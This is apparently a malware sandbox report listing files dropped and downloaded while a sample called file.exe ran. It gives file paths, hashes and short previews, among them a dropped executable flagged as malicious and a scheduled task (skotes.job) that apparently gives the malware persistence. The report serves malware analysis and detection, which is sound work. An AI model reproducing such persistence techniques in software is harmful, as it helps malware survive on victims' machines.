Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7820_604110570\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7820_604110570\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7820_604110570\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7820_604110570\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_604110570\f299f61c-c6e9-487c-afb2-1bee3a7187fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIDHJEBGIEB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.9504865725235305
Encrypted:	false
SSDEEP:	24576:BZS3boafjQ0LU8mD54/C72QRLEAL1NuvHfIPCA2RrlOE/DFJVbBnE3q5q89AXwEu:BZKRjEr5B7XRrEIP32tl7VMq5LCBo
MD5:	A6728E0D2B00CEAFE1489CB92D286323
SHA1:	A8F5557A392F1360D4B6EF7A3755424BB3442AB7
SHA-256:	E048B734FC40A9EFB0B9ABEA40E055DDB560E6519A7296CFEDF916B59813E203
SHA-512:	A23AFEE86BCF3BB4E76AFD5D9549A397A271E96DDF31B28430C32E8622C368099E062A29A826DB1C2F72A9851EA361824FA892CB13AC582179C24AC967CFA3F6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K.....8?....@.................................W...k.......D.....................J.............................D.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...wxwmfdjn..... 1.....................@...mittgiev......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIDHJEBGIEB.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.47521512957776
Encrypted:	false
SSDEEP:	6:3UfGXUhXUEZ+lX1CGdKUe6tE9+AQy0lB9llYdt0:ks4Q1CGAFD9+nVBH+dt0
MD5:	D77793A648BDD146047E16D56DDFDFDE
SHA1:	144ADAACF5B30B199B4241745A0D686291DC9407
SHA-256:	C774F4557AC05C371D8D2753540ECA4D71D71839A8C73E705438534BDC36E448
SHA-512:	3CA751EBBA8927DE668F560468F417A8120918DB148D596DE45F07B3949204CC68317F691641875CDB6156AA0B15BFDE0D12B192139EBC768B8FF46577616772
Malicious:	false
Preview:	.....z.....H..D..J..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................0.@3P.........................

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (822)
Category:	downloaded
Size (bytes):	827
Entropy (8bit):	5.167565507941822
Encrypted:	false
SSDEEP:	24:dh4ElEuz1NInrlvNl5jZBHslgT9lCuABuoB7HHHHHHHYqmffffffo:HzEfKlgZ01BuSEqmffffffo
MD5:	7AF927B54C2C6BCCA00D734FF48460EF
SHA1:	0DC5F137ACC865ABB90C2706C570AD6E41B09FFE
SHA-256:	2654039E393D89144D37BC6F85D57789A7726BED0ED2AC31501E91B80992190C
SHA-512:	B9845BFE3109447B2CAAF0987DC0EFB504CBDEB35BC2AF4122B115D2F29BAAA8842EFBFB3BC7D9625D69B24DADE6E98C722D45C4B7E96B5839319B35CC345DF2
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["sec power rankings football","how to train your dragon movie trailer","pokemon go mighty pokemon list","streaming black friday deals","manchester united ipswich town","nyt mini crossword clues","the earth tilted 31.5 inches","thanksgiving winter storm forecast snow"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132989
Entropy (8bit):	5.435415672255364
Encrypted:	false
SSDEEP:	3072:fvkXyPqO7UX1Hme9kZbs4Voc5mSnXqwQ2i6o:fQyWFHrp4Voc5mSnawQ8o
MD5:	A6E25C4B1402921085B47E1C6554B195
SHA1:	6643B6A9FEBA720FC9171DDDF9409B552DA08C8D
SHA-256:	023855763483D80D404BB8CD2CC139BC88B0E4B11344861E0C90AC26639C28E4
SHA-512:	E51CEE662C2AB1A1E08E44CD53E55B9D990E6A974EDC7D8431607083D43EC0A4136955BD250A6FD70A2E245F5799CD6C34C990881F46872EFC380E9C0888C500
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
